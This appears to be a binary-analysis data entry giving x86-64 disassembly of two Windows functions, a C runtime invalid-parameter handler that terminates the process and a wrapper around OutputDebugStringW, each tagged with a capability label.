Function at 0x140077783
Capabilities:
Terminate process

Disassembly:
jmp 0x14010c3f0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x14010c41e
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.140077ec2
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140077f26
Capabilities:
Print debug messages

Disassembly:
jmp 0x1401259a0
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret